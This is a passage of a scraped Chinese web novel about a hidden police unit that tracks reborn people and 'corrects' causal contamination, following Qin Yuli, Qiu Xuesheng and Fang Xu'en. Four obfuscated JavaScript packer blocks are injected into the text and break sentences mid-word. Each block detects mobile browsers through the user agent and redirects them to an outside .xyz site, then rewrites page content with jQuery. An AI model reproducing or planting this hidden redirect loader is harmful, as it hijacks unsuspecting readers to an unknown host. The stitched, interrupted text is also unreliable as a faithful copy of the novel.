;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322604|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学的方法来理解,比如,有的科学家说人的灵魂是能量体、是波、是辐射,那么,重生不过是一个能量体在消散之际因为求生欲,能量突然爆发进入到高频振动状态,随机对接上了另一个同频能量体,结果格式化了老的,复制出了新的这么一个过程。” 秋樰生问:“那因果污染数值又是什么?” “日升月降,潮起潮落,植物春生夏长秋收冬藏,人类生老病死有来有往,世间一切都遵循一定规则运行,重生破坏了规则,重生者在世间的活动,与他人的接触都会破坏原定的世界运行规律,从而造成污染,小则影响他人的因果命运,大到可能毁灭世界。” “有实际证据?” “后者没有,前者有。”秦于理说,“如果黎曼红没有重生,桑箬今晚不会被人扔进江里,李天钧不会失控亲手杀人,方许恩,应该一辈子也不会和王洁琼结为连理,光是黎曼红一个人的重生,就影响了许多人的命运,包括我们这些接触过她的人,都会受到不同程度的污染影响。重生者的数目如果达到一定数量,世界崩塌并非不可能,这也是重案组不能存在于明面上,也不能大量吸纳组员的原因,这么说,你理解了吗?” “所以你们其实是重生案件调查组?”秋樰生终于理解了这个奇怪的名字。 “纠正一下,我们组的正式名称叫作重生案件取缔组,职责是寻找人群中的重生者,抓捕和回收他们,矫正被扭曲的因果线。” “强制矫正以后又会发生什么?”秋樰生盯着屏幕,他看不懂教化所具体采取的手段,只能通过屏幕上黎曼红痛苦的表情猜测她正在接受某种“惩罚”。只见女人面容扭曲,身体不停弹动,脸颊上泪水簌簌而落,整个人看起来狼狈不堪。 “伴随矫正到位,被牵扯的相关人员会逐渐回到原本的因果线上,本来不该发生的事会用一种随机的形式化解,例如桑箬可能会被报道失足掉落江水,被人所救,李天钧的商业帝国可能还有很多年的寿命,与他相关的那名官员也可能在最后一刻因为证据不足,被无罪释放。具体情况具体而定,没有标准。” 像是在佐证秦于理的话,屏幕上的黎曼红在此时发出怒吼:“为什么!为什么要这么对我!我才是受害者,我只是报复回去,我错了吗?!我哪里错了?!!老天既然给我重来一次的机会,你们凭什么剥夺我的权利!” 秋樰生猛地站起身来。 秦于理抬眼看他:“怎么?” 秋樰生说:“感谢秦队的说明,但我觉得我们理念不合,应该无法缔结合作关系,我明天会向郑队请辞,还请秦队另请高明。” 秦于理放下汽水罐,铝合金罐身在桌上发出轻轻的“啪”的一声:“秋队的理念该不会是……黎曼红为李天钧付出了一切,甚至死了一回,好不容易重来一次,到头来却被推回深渊,只有她一个人承担后果,害她的人却安然无事,这显得老天无眼,世道不公吧?” “一半一半吧,”秋樰生说,“另一半是我本人坚持的一些信念。” “大家都希望善有善报,恶有恶报,但现实中并不总能落实,正义常常迟到,偶尔缺席,这也是世界运行规则的一部分。”秦于理慢条斯理地说,“我不信秋队从警的这些年里没有遇到过模棱两可的案子,世界从来不是只有黑白两色。” “这就是我们之间的区别。”秋樰生打开会议室大门,微微侧脸说,“黑白灰是主观判断,但警察执法的准则是看得见摸得着的法律条文,你的所谓世界运行规则却没有实际依据,只有你们的经验之谈,那么对我来说,这种规则便没有正当性、合理性。既然没有正当性、合理性,让我因为看不见、摸不着的规则去改变他人命运,这就是师出无名。毕竟,我之所以选择从警,就是因为在复杂的现实世界里,正义已经足够弱势,经不起更多的践踏。” 秦于理“嗯”了一声,说:“那你很了不起。” “谬赞了。”门扇在她面前被重重甩上。 8. 第八章 秦于理的世界 屏幕上的黎曼红还在挣扎,很多重生人一开始都是这样的,觉得自己能够对抗一切,但是很快一败涂地,被强制矫正。 秦于理关闭了音量,靠在桌沿一口一口喝着汽水。 “笃笃。”外面传来敲门声。 “进。” 门被推开,赵萌萌抱着文件探进头来:“鲤鱼姐,你和秋队谈好了?” “嗯。” “你们这是……谈崩了?” “嗯。” 赵萌萌叹了口气:“这个秋樰生好大的脾气,他该不会觉得就他是正义使者吧。” 秦于理摇摇头:“脾气其实还行,但是比何……”秦于理顿了顿,“比上一任0000精明。” “精明?他不是说什么理念不合,捍卫正义的大话么……”赵萌萌说到这里戛然而止,讪讪道,“那个,鲤鱼姐,我不是故意偷听你们讲话的,是他声音太大了啦。对啦,我今天的工作都做好了,请领导审阅。” 秦于理接过赵萌萌双手呈献上来的文件:“以后真要是跟他合作,你这脑子最好是上点润滑油。” “啥?”赵萌萌一脸懵逼。 秦于理挥挥手:“你先下班吧。” 赵萌萌眼珠子转了转:“鲤鱼姐,需不需要我去找秋警官再聊聊,他对咱们组的认知太偏执了,你又不爱多解释,我再找他聊聊,说不定……” “不用。”秦于理说,“目前虽然他条件最合适,但本人没意愿的话,强制来组里只会被污染得更快,我们还有别的选择。” “可是他这次检测污染指数居然只有1.1ul哎,他明明和目标人物和相关人物都有过直接接触,我还是第一次遇见这么能抗的!”赵萌萌夸张地比划着。 “有没有可能是你太菜了?”秦于理将喝空的汽水罐单手捏扁,丢进垃圾桶。 赵萌萌顿时闭嘴,摸了摸自己小巧的鼻子乖巧道:“我知道了,我会继续努力的,那我先下班啦,拜拜鲤鱼姐。”说着,一溜烟地跑了。 秦于理翻开赵萌萌刚刚整理好的结案报告飞快地浏览了一遍,确认没有问题后,签字夹进了刚刚给秋樰生看过的那个卷宗里。 “世界运行规则瞧不见摸不着,所以师出无名、没法执行?”秦于理低声,“说得冠冕堂皇,不过是不想用自己的命来做那些看不见摸不着的重生规则的扫雷器罢了。”想到这里,秦于理又了然地点点头:“怪不得污染指数那么低,也是个类人怪物。” 关闭会议室,秦于理拿上自己的手机准备离开的时候,看到老范依旧坐在灯下,一页一页仔细翻看着那些不知多少年前的报纸。老范喜欢下班后摆弄这些东西,将它们细心编号、通读、分类、剪贴,就像是对待珍贵的历史文物那样认真地处理那些不知多少年前来自天南海北各个领域的老旧报纸。 “我下班了。” “好,明天见。”老范推了推眼镜,又补了一句,“有空你也出去走走,放松一下。” 秦于理对老范扯出了一个不算很明显的笑,回答:“下次一定。” 离开重案组办公室,秦于理重新坐老旧电梯回到了那个特殊的地铁站。检查车厢已经不见踪影,秦于理跳下轨道,往黑暗深处走去。 铁轨一往无前,顶上没有照明灯,只有贴近地面三十公分的位置有一行行的反光面板,在手机灯光映照下,拉出两道光弧。秦于理走了大约半个多小时,隧道到了尽头。这里似乎发生过塌方,大块大块的石头堵塞了前进的通道,巨石前面是四节叠成双层的地铁车厢,一架梯子从二层挂下来,停在距离地面半米高的位置。 秦于理熟练起跳,跟猫儿一样顺着梯子往上爬到顶,揭开通风天窗盖,一骨碌钻进了车厢里。 拉开电闸,整节车厢随即亮了起来,机械化的女声响起:“欢迎您乘坐隀明地铁江山线,本站钟山站。” 车厢里被改造成了适合人居住的样子,狭长的车厢壁上挂满了各种各样的钟表,每一只钟表都在静静地旋转行走,它们并不处在同一个时刻,有的快,有的慢。 秦于理先换拖鞋,再换睡衣,然后把换下来的衣服用衣架挂在车厢扶手上。 电话突然叮铃铃响了起来,打破了隧道深处死寂般的安静。秦于理按下通话,通讯画面被投影到了一侧车厢壁上挂着的投影幕上,是个上了年纪的女人。 “阿理,今天下班怎么那么晚,饭吃了没有啊?” “嗯,加了会儿班,正准备吃。”秦于理熟练地摸出锅碗瓢盆,开了一包方便面,烧水下面,然后从小冰柜里依次取出鸡蛋、蔬菜、罐头,给自己煎蛋煮浇头。 “哎,你这工作怎么每天都这么忙啊,你这么下去,身体要搞坏的。咱这工作是不能不做吗?” “啧,你别总是说丧气话。”一个戴眼镜的上年纪的男人也出现在屏幕上,“阿理,工作还顺利吗,跟队里人处得还好吗?” “挺好的。”秦于理动作熟练,仿佛演练过无数遍。水开,下面,面熟,用冷水过面,扣进面碗,加上调料、煎蛋和刚刚烫好的蔬菜。她端正地坐到小茶几前,开了个午餐肉罐头,泡了碗紫菜蛋花汤开始干饭:“今天组里来了个新人,稍微花了点时间沟通。” “新人啊,那你又要辛苦了。”男人感慨道,“不过多一个人多一份力量嘛,能替你分忧总是好的。” “唉,你懂什么,现在的年轻人一个个都有主张得不得了,说不得骂不得,也不知道是他替我们阿理分忧,还是我们阿理照顾他哦。” “那不行,阿理,你听我说,要是新人素质不行,你可得公事公办,别碍于领导的面子硬着头皮忍,忍一时就得忍一世,别让他骑到你头上去!” “知道了。”秦于理边说边用小刀将午餐肉切成等分的一小块一小块,一块一块像时钟刻度一样沿着面碗摆了一圈,“最近有什么有趣的事发生吗?” “有趣的事?”女人想了想说,“哦,这么说还真是有一件……” 接着,她便絮絮叨叨地从村东张家儿子出轨被媳妇抓奸在床,大打出手说到了村西李家大娘轻信卖保健品的话,被人骗走了十几万,哭天抢地在村口打滚,期间男人也补充了诸如谁家种出了超级大的西瓜,谁家母猪一胎生了几十头,其中一头猪崽长得像个人等等的趣闻轶事。秦于理边吃边听,间或嗯嗯啊啊的应几声。她吃饭并不快,但是很流畅,吃一口面,咬一口煎蛋,吃一根蔬菜,再吃一口肉,喝一口面汤,如此反复。 “阿理,你好久没回家了,什么时候回来看看啊,爸妈想你了。” 屏幕上,男人和女人对着秦于理一起露出了期盼而小心翼翼的神情,秦于理原本运作流畅的身体猛的一僵,筷子落到了茶几上,发出叮叮当当的脆响。 满车厢的钟表在这时候似乎都发出了滴滴答答的声音,因为有快有慢,有前有后,因此形成了波涛一般的音浪,一浪又一浪,打在秦于理的耳膜上,慢慢的,她的额头渗出了汗水。 滴滴滴滴,地铁车厢突然发出急促的蜂鸣声,机械音女声再次响起:“欢迎您乘坐隀明地铁江山线,本站钟山站。” 秦于理像是从梦魇里一下子挣脱出来,大口大口地喘着粗气。 投影屏幕上的两位老人还在关切地望着她,似乎在等待她的回答,眼神和身体时不时地轻轻动一下,仔细看,像刚刚秦于理吃饭的动作一样,他们的晃动似乎也遵循着某种规律。 秦于理终于恢复过来,抽了纸巾抹去额头的汗:“系统。” 机械女声响起:“您好,系统为您服务。” 秦于理:“对话场景失真,将回老家相关话题剔除出话题库。” “好的。” 投影屏幕上两位老人的影像飞快后退,像是被人按了加速键,没过几秒钟,系统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322605|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音重新响起:“已为您处理完毕,是否重新建立对话场景。” “是。” 秦于理捡起筷子,拿到水龙头那里冲洗,身后的投影屏幕上重新出现了女人的样子,她关切地打着招呼:“阿理,今天下班怎么那么晚,饭吃了没有啊?” …… “你可以走了。” 方许恩对将他领出来的干警道了声谢,有些恍惚地站在公安局门口。 老实讲,他的记忆有点模糊,明明是昨天发生的事,现在回想却好像已经过了好多年,明明应该记得清清楚楚,但要仔细去回忆的时候,又哪儿哪儿都记不清了。 “我是怎么了?”他没有马上离开警局门口,而是站在路边绞尽脑汁回想自己昨天干了什么。 “昨晚云上酒店188层婚礼中心有场宴会,我参加了那场宴会,我是表演嘉宾。宴会主人出了意外,我被带走协助调查……”思绪到这里卡了一下,方许恩的眼前闪过了一些片段的光影。有个女人,很漂亮的女人,她穿着艳红色的礼服在光影中翩翩起舞,还对着他露出微笑。 “她应该就是宴会的主人,我是被她请来的,她叫……叫……”明明名字就在嘴边,方许恩张了几次嘴却始终无法把那个名字念出来。 “我这是怎么了,突然得了健忘症吗?”方许恩觉得自己浑身不对劲,他摸出手机,手机刚刚被归还,还得重新开机。方许恩想给关心他的人报个平安,打开自己的通讯录,紧急联系人那一栏只出现了一个名字,那是他在海外的私人律师。 “奇怪,好像少了个谁。”方许恩上下划动着通讯录,快速浏览着联系人名录。 不是他,不是她,也不是她…… 那个漂亮的艳红色的女人到底是谁? 方许恩一细想,脑袋便一阵刺痛,他捂着脑袋“嗷”了一声,蹲到地上。 有人从他身旁经过,吓了一跳,赶紧跑开,生怕被方许恩碰瓷。 方许恩的脑子里像是有一团脑雾,那雾气竭力将某些信息隐藏起来却还漏了一个角。 “许恩,方许恩,你的名字真雅致,我叫王洁琼,是名演员。” “王洁琼……小琼!”方许恩猛然跳起来,他抓着那若隐若现的记忆,飞快地打开社交媒体,寻找自己的关注列表。 怎么没有?王洁琼不是他的未婚妻吗,他为什么没有关注王洁琼? 方许恩又在搜索框输入王洁琼的名字,点击搜索键后出来了一列搜索结果,有的王洁琼在念书,有的王洁琼是科研人员,有的王洁琼在被人蛐蛐,但是,没有演员王洁琼。 一个大活人,怎么可能平白无故地消失,甚至连网络上都没留下一点踪迹? 方许恩不甘心,他不停地用这三个字组合实验寻找,终于搜到了一个只有200+粉丝的用户,叫JoanJW,社交媒体的动态更新停留在前年冬季。 “爱女小琼于昨夜23:13分因车祸不幸离世,享年27岁,哀思难抑,但托鸿雁传递,天上人间,碧落黄泉,祈愿来生再会。母某某某泣告。” 方许恩的手机“啪嗒”一声掉到了地上,艳阳高照,他只觉得浑身冰凉。 他明明记得自己和一个叫王洁琼的女人订了婚,为什么那个女人消失不见了,为什么社交媒体上那个疑似王洁琼的用户死在了前年冬季? “我是疯了吗?” 方许恩喃喃着,从地上捡起手机,忽然他看到公安局门口走出来一个女人,她穿着一身黑色修身T恤长裤,身材很好,但不会令人觉得香艳,因为没有人会觉得一把藏在鞘里也难掩锋芒的利刃香艳。 方许恩的脑海里刹那浮现出一个情境,那个女人有一头和娜塔莉一样的短发,她弯下腰,在忽明忽暗的霓虹光影中将王洁琼轻而易举地扛到了肩上。 “等等!”方许恩反应过来,立刻一个箭步跟了上去。 9. 第九章 时间、记忆与碎片 秦于理边走边查看自己手上的腕表,与其说那是个表盘,不如说是个罗盘。两头尖尖的指针一侧涂了红色,另一侧是黑色,此时正在她的手腕上轻微地晃动。 黎曼红的回收工作已经完成,污染工作的清除则不会那么快收尾,作为经办人,她需要时刻关注外部社会的变化情况,以验证教化所的强制矫正流程实际效果如何。此时,秦于理就是沿着黎曼红曾经出现过的重要地点逐一抽检,她手上的腕表是个简易的因果污染警示器,如果有明显可侦测到的污染,指针会有反应并大概指出反应的方位。 工作日的白昼,街道上车流来去匆匆,云上酒店昨夜还发生过的新晋顶流花坠楼事件今天被抹除得干干净净,只剩下了都市传言,声称昨晚有人目击到云上酒店188层附近出现了不明飞行物,疑似外星飞船。 秋樰生有一点的确说得对,天地运行规则看不见、摸不着,人也搞不懂,所以当祂化解那些重生带来的BUG时,使用的方法经常让人“大开眼界”。 “等等!你等等!” 秦于理一早就听到了后方的喊声,她通过路边的车辆后视镜观察过,想要喊住她的是个青年男子。男人长得很英俊,微卷的棕色头发,琥珀色瞳仁,五官轮廓深而立体,带着轻微的混血感,要不是他身上那套西服样式夸张且皱皱巴巴,还挺像个男明星,不过,秦于理记得他,那是方许恩,黎曼红案子里一个“无关紧要”的当事人。 案子都结了,这会儿喊她准没好事,秦于理压根不想理睬对方,于是加快脚步,转过一个街口,闪身钻进了一间街头茶餐厅。 “人呢,哪儿去了?”方许恩大口喘着粗气,向四周张望寻找秦于理的下落。 方许恩本职工作是个音乐家,平时接点电视剧电影配乐编曲之类的活,他身高183cm,身材偏瘦,看起来是个斯文宅,其实运动方面并不差,他喜欢长跑登山这些需要耐力的运动,这还是他第一次想要追个女人却发现怎么也追不上不说,还莫名其妙跟丢了。 “她肯定发现我了!发现了、听到了却不停步,那就肯定是有问题。”方许恩越想越觉得王洁琼的事情有很多疑点,一心想要找秦于理问个明白。就在这时,方许恩听到身旁有人突然发出了“啊”的惊呼声,然后他目之所及的所有人,都齐刷刷抬起头来看向上空。 上面有什么? 方许恩下意识地抬起头看,先是看到了云上酒店熟悉的巨大LOGO——原来不知不觉,他又回到了这里,然后,方许恩便看到有个黑影从酒店旁边矮了大半截的某栋楼上忽然朝他扑来,越变越大,越变越大,跟着,方许恩的眼前就是一黑。 …… “喂,你站在马路中间干吗呢,挡人路了听到没?” 方许恩后知后觉的回过神来,他发现自己站在斑马线上,交通信号灯已经跳红,他却还在路当中。 交警不悦地指他:“退回去退回去,有没有交通规则意识?” “Sorrysorry.”方许恩连忙道歉,不过没有退回去,而是紧跑了几步,冲过了马路。 “外国巴子听伐懂中文啊。”背后传来不知道谁的指责声,方许恩压根没有回头去看,他脑子里只有一个念头,不快点,就要跟丢那个女的了! 方许恩不久前才从隀明市公安局被放出来,因为昨晚他参与表演的云上酒店188层宴会东家出了事情,他不得不被警方一起带回局里调查。明明自己不过是个表演嘉宾,什么也没做,结果被关在警局翻来覆去问了一晚上,今天被放出来以后,他想要联系他的雇主王洁琼问问演出费的事,又莫名其妙发现自己的通讯录里找不到这个人了,他不信邪,再搜索社交媒体,居然也看不到顶流女星王洁琼一丁点存在过的痕迹。 怎么会这样?难道是我脑子出问题了吗? 正当方许恩死活想不明白的时候,正好看到昨晚带走王洁琼的女警从警局出来,于是想也不想就跟了上去。 “人呢,人到哪儿去了?” 方许恩迷茫地四处张望,不知不觉他又走到了云上酒店的附近,不过这次不是正面,而是酒店侧面一条小马路上。隀明市是座新旧融合的城市,既有大都市摩天楼的巍峨壮阔,一转弯,又能看到老式建筑的悠长余韵,此时他面前这条小路就是如此。 季夏之中,道路两边的梧桐树枝繁叶茂,郁郁葱葱,夏蝉在枝头聒噪,尽情做着生命最后的登台表演。马路两侧有好些私人开的小饭馆、茶餐厅、咖啡店,这里寸土寸金,能够有个十平米的铺面已经是了不得的营业额,从不用担心上座率。旁边不远的地方有栋颇具艺术风格的建筑,大约七层高,上面挂着“隀明大剧院”的白底黑字竖牌子,应该是个演出的场所。 方许恩在原地转了三圈,确认自己跟丢了那名女警,不由得有些悻悻。 一晚上没睡,早饭也没吃就被警局赶出来,方许恩实在是没力气了,于是他推开最近的一间茶餐厅大门,打算进去随便吃一口。 门上的风铃发出“叮铃”一声,女服务生喊着“欢迎光临”走上前来,方许恩刚想说一个人,突然发现靠墙的角落,有个女人背对他坐着,那背影十分熟悉。 方许恩立刻改口:“我跟她一起的。”说完,急匆匆跑过去自己拉了张椅子坐下来。 秦于理放下杯子,冷淡地看向对面自说自话落座的男人,方许恩很自来熟,自顾自道:“给我一碗云吞面,一杯丝袜奶茶,要热的,谢谢。” 秦于理站起身来,方许恩一把伸手去拉她,秦于理让开,方许恩一个踉跄,差点栽倒,桌上摆着的柠檬水杯慌乱中被他弄翻在地,发出“嗵”的一声,还好杯子是塑料的。 “我没有恶意,我只是想打扰你一会儿,问几个问题。”方许恩一边对秦于理说,一边向周围看过来的客人和服务生致歉,“Sorrysorry,不当心打翻了,我自己收拾。” “我不认识你,也没有义务回答你。” “怎么可能,你不是昨晚带走王洁琼的人吗?” 秦于理的身形一顿,她的眼神落到自己手腕上,突然眉毛微微一挑,指针有反应。 方许恩和黎曼红重生的王洁琼有过直接接触,受到污染很正常,但昨晚在警局里,赵萌萌应该给他做过清理,这时候他的污染指数不应该这么高。何况,王洁琼和黎曼红按照正常的因果线来算两人都已经死了,方许恩没有理由和他们中间任何一个人产生因果纠缠,那么现在又是怎么回事? 方许恩还不知道秦于理正在从上到下的打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322606|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量他,寻找他身上的猫腻,他只是因为秦于理没有再跑,松了口气。 “真的只要一会儿,十分钟,不,给我五分钟也好。”方许恩说,“我给你叫杯饮料吧,奶茶还是咖啡?” “不用。”秦于理说,“我在工作中,有话快说。” 方许恩说:“我想问问,王洁琼到底到哪里去了,为什么只是过了一晚上,我就找不到她人了,而且手机里、网上都没有她的讯息?” 秦于理谨慎地打量着他,问:“王洁琼是谁?” “你在开玩笑?”方许恩震惊地看向秦于理,“你昨晚不是才把她带走吗,她莫名其妙从楼上跳下来,我记得是你救了她。” “你还记得什么?” “什么什么?” “王洁琼和你是什么关系?” “什么关系,还能有什么关系,她是我甲方……”方许恩说到这里突然卡住,本来很顺当的记忆在这时候似乎又出了问题,明明是自己张嘴说出来的话,此时他却觉得有哪里不太对劲。 王洁琼是他的雇主,他的甲方吗?对啊,是她雇佣自己在昨晚她的订婚宴上表演,工钱到现在都还没结呢,逻辑线清清楚楚,可是为什么他总觉得哪里不对劲。 方许恩的脑壳又疼了起来,他倒抽一口冷气,扶住额头。 一只冰凉的手指点上了他的额头,方许恩诧异地抬头才发现是秦于理的手。她用右手食指点着方许恩的额头,眼睛盯着左手腕上带着的腕表看,眼神十分严肃。 “怎么了?”方许恩问。 突然间,外面有人发出惊呼,所有人都下意识地看向窗外,“砰”的一声,好像有什么东西重重砸了下来。 …… “欢迎光临。”门上挂着的风铃发出清脆的响声,女服务生迎上前来。 方许恩愣了一下,有一种如梦初醒的感觉。 他在哪里,来做什么? “先生,请问您一个人吗?” “我……”方许恩环视四周,突然眼神锁定在了墙角某个背对他而坐的女人身上,对方似乎已经用完餐了,正抽了纸巾站起身来。 “我朋友在那里!”方许恩大喊出声,惊得所有人都看向他,包括那个正要起身离开的女人。 黑色短发,冷冷清清的丹凤眼,皮肤白皙的女人像尊德化白瓷人偶,带着一种淡淡的疏离感。 不抓紧时间,她就要跑了! 方许恩赶紧跑上前去,顾不得其他开口就说:“我是方许恩,我记得你是昨晚带走王洁琼的女警,我想知道王洁琼到哪里去了,为什么今天我在通讯录和网络上都找不到她的信息了,请你告诉我!” 秦于理盯着方许恩,似乎在思索着什么。 方许恩眼神顺着她的脸孔,落到她的手臂,然后是手腕,再然后是手腕上的表上。 “你的表在动!”方许恩说,自己也不知道自己为什么要说这么一句。 秦于理眉毛微微一挑,抬腕看了眼,随后脸色微微变了。 她伸手抓住方许恩,一手点在他的额头,另一手看向自己的腕表,方许恩在近距离观察才发现,那只手表根本不是普通的手表,它就像是一个罗盘,此时里头的指针正在飞快地一圈圈转动,像是要跳出来。 10. 第十章 污染禁区 “你拒绝本次提任?” “我拒绝与重案组合作。” 郑金虎的办公室内,秋樰生站在他的办公桌前一板一眼地汇报:“提任之前,组织没有找我谈过话,我只知道自己这次是调任市局刑侦八支队,并没有人告诉我,我实际上要承担重案组的部分工作。” “秋樰生同志,你是在质问组织没有经过你的同意就胡乱调派吗?”郑金虎沉下声音,国字脸的老警察不怒而威,浑身散发着令犯罪分子胆寒的气势。 但秋樰生不吃这一套,他本人就是一线出身,而且还是一线干警中都出了名的刺儿头。 “您误会了,我绝没有置喙组织决定的意思,组织让我到哪儿,我确实应该二话不说就到哪儿,但经过我的了解,重案组的职责与警察的天职有很大的矛盾冲突。” “哦,什么矛盾冲突?” “重案组做的事与法律公义相悖。”秋樰生说,“拿昨天的案子来说,如果重案组不去管,当事人应该还好好过着自己的日子,至于她的行为是否触犯法律,到了引发恶劣后果的那一天自然会引起社会关注,到时候每一名干警都责无旁贷,应当依法执法,但重案组的工作相当于提前侵害了当事人的正当权益,同时,让真正的犯罪分子有了逃脱罪责的机会。谁也不知道,经过重案组矫正后的因果线里,那些犯罪分子是不是会受到惩罚,什么时候受到惩罚,也没人知道他们最终得到的惩罚是否与他们的罪过相当。” 郑金虎冷哼一声:“秋樰生,你在这行多少年了?” “报告郑队,公安学院毕业后,我就进入警队工作,到今年已经八年了。” “八年了,八年干警生涯,你到现在还不懂得‘法’这个字怎么写吗!”郑金虎一拍桌子,桌上的茶杯盖发出当啷一声。 “请郑队明示。” 郑金虎说:“你知不知道自己刚刚说的话代表着什么,你是在为无视法律,以暴制暴张目!” 秋樰生反问:“是吗,请问我国有哪部法典哪一章哪一条规定了人没有重来一次的权利?” 郑金虎深深吸了口气:“确实没有哪一部法律明确在某一章某一条规定了人没有重来一次的权利,但是也没有人知道,这个权利被赋予的条件是什么!” 秋樰生愣了一下:“您的意思是……” “你以为只有无辜枉死的好人会重生吗,我告诉你,好人、坏人,无辜枉死的还是罪有应得的都可能重生,谁也不知道这个机制是怎么运作的,它根本就不是上天的礼物!” 秋樰生惊讶,试探道:“您是说,重案组成立至今,连重生机制都没搞清楚吗?”他还以为秦于理说的那些经验里,至少针对谁能获得重生应当有明确的衡量标准。如果连这都搞不清楚,茫茫人海,他们要怎么锁定目标? 郑金虎疲惫地揉了揉太阳穴:“重案组虽然不在警队公开的组织架构里,他们也还是警察,并不是什么邪教黑丨社会! ” 手机突然响了起来,打断了两人的剑拔弩张,秋樰生拿起来看了一眼,不由愣了一下,是秦于理。 她是什么时候把手机号码输进了自己的通讯录? 秋樰生看向郑金虎,后者挥挥手,示意他出去。 “我就说这些,你自己好好想想吧,真要走的话,按流程打辞职报告上来,我会批的。” 秋樰生行了个礼,快步离开郑金虎的办公室。接起电话,那头传来了一个叽叽喳喳的声音:“秋队,是秋队吗,我是赵萌萌,您还记得我吧?” 秋樰生莫名其妙:“我昨晚才见过你,怎么会不记得,还有,你什么时候在我手机里输的号码,为什么名字写得秦于理。” “哎哟我的妈,都这时候了,您能不能别在意这些细节了!”赵萌萌在那头急得要命,“秋队,我们秦队可能出事了!” 秋樰生正朝着昨晚记忆中那间档案室走,听到这里脚下不由一顿:“出什么事,她在哪里?” “云上酒店附近。”赵萌萌说,“今天一早,鲤鱼姐,哦,就是我们秦队出门重走黎曼红的污染线,我们每次回收完重生目标都要做这件事,目的是检测重生目标活动过的主要地点污染指数有没有下降,如果情况不理想,需要人为进行干涉,鲤鱼姐应该就是先到云上酒店,然后沿途前往黎曼红曾经的住所、工作过的地方依次检查,正常情况下,她每到一个地点都会和我联络,但半个小时前,她本来应该到下一个地点了,却迟迟没来联系,所以我试着联系她,结果,我发现她联系不上了。我检查了定位,可地图上鲤鱼姐的定位消失了!” 秋樰生吃惊:“消失?你是指……穿越?” 赵萌萌发出“啊”的土拨鼠尖叫:“秋队,都这种时候了你就别跟我开玩笑了,鲤鱼姐的定位消失代表着她很可能进入了异常区域,就是重生污染指数极高的区域,只有那种地方才会出现空间和时间的紊乱,让我们的设备发生故障!” 秋樰生刚刚还在跟郑金虎争论重生者的正当权益,没想到下一刻就见识到了所谓重生污染会引发的负面效果。 “重生污染区除了让人失联,还有什么危害?她自己没法从那里走出来吗?”秋樰生边问边快步往外走,解锁了自己的老破奥迪,发动引擎。 “危害可多了,不管的话,污染会持续扩张,到时候整座隀明市的人都会受到波及,会变得……”赵萌萌叹了口气,“老实说,我也不知道,这种事从没发生过,但如果放着不管的话,肯定谁都不会有好下场。” “你们难道从没试验过?” 赵萌萌哀叹:“秋队,您是说拿整座城的人命去赌吗?” “只是探讨一下,我已经在去云上酒店的路上了。”秋樰生说,“有什么需要我注意的?” 赵萌萌说:“我也到了那附近了,定位发给您,见了面我当面跟您说。” “好。”秋樰生挂断电话,点击了赵萌萌的定位一路飞驰而去。 “秦于理……”他脑海里浮现出昨晚初见又不欢而散的那个冷淡的女人,自己也没想到,对于这世界上居然有事能难住她感到意外。 …… “这是怎么回事?”方许恩跟只没头苍蝇一样跟着秦于理从一条马路走到下一条马路,又从下一条马路走到下下条马路。得亏他平时热爱长跑,不然体力哪跟得上。 周围一切都看起来很正常、宁静、平和,路上车辆穿梭往来,有人急匆匆赶着去上班,有人悠闲地挎着菜篮子在路上慢慢走,蝉鸣阵阵,再日常不过。 秦于理的脸色却很难看,她边走边观察自己手腕上那只拼命转悠的表。 “秦小姐?”直到刚才,方许恩才知道了秦于理的大名,因为秦于理让他站在路边不要动,说自己去前面查看一下。方许恩生怕她是借口“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322607|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我去给你买点橘子”,然后一去再也不回来,遂留了个心眼问她要了联系方式和名字,结果秦于理回来是回来了,就是回来的时候脸色更难看了。 “秦小姐,到底怎么了,有什么事你说出来,或许我能帮得上忙呢?”方许恩小心翼翼地表达“我有用”的信息,不知道为什么,周围明明没有什么异常,他的鸡皮疙瘩却一个接着一个起来了。再日常不过的街景,再普通不过的上午,却像是隐藏着凶险暗流的深海,莫名其妙透着股诡异。 秦于理说:“你给家里人打个电话。” “啊?”方许恩张开嘴。 “朋友也行,随便找个人打个电话。” 